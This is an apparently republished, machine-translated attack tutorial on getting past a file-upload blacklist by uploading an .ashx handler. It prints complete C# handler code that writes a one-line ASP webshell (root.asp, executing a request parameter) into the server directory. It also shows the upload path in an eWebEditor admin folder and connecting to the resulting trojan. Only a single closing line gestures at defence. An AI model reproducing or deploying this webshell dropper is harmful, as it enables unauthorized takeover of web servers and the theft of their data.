Bypass blacklist upload

Source: Internet
Author: User

Breakthrough upload limit ashx suffix script execution



Server filtering scripts such as asa,cer,cdx,htr,aspx,php,jsp

What is the way to break through? How do you filter common scripts to break through?

We can also add a ashx script type here. Use Ashx to write an ASP word to the current directory. The

code is as follows.

<%@ WebHandler language= "C #" class= "Handler"%>

using System;
Using System.Web;
using System.IO;
public class Handler:ihttphandler {
public void ProcessRequest (HttpContext context) {
context. Response.ContentType = "Text/plain";

StreamWriter file1= file.createtext (context. Server.MapPath ("root.asp"));
File1. Write ("<%response.clear:execute request (\" Root\ "): Response. End%> ");
File1. Flush ();
File1. Close ();
}
Public bool IsReusable {
Get {
return false;
}
}
}

is saved as ashx, now add a ashx upload type to see.

upload succeeds, direct access

Http://www.xxxxx.com/admin/eWebEditor/UploadFile/201082143554545.ashx will generate a root.asp trojan in the current directory.

Look at the upload file, root.asp is already lying over there, with a lake2 word connection, see cordial hello Word!

Sometimes the site filters out common script types but ashx ...


Security measures: Don't miss the ashx ...

Bypass blacklist uploads

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.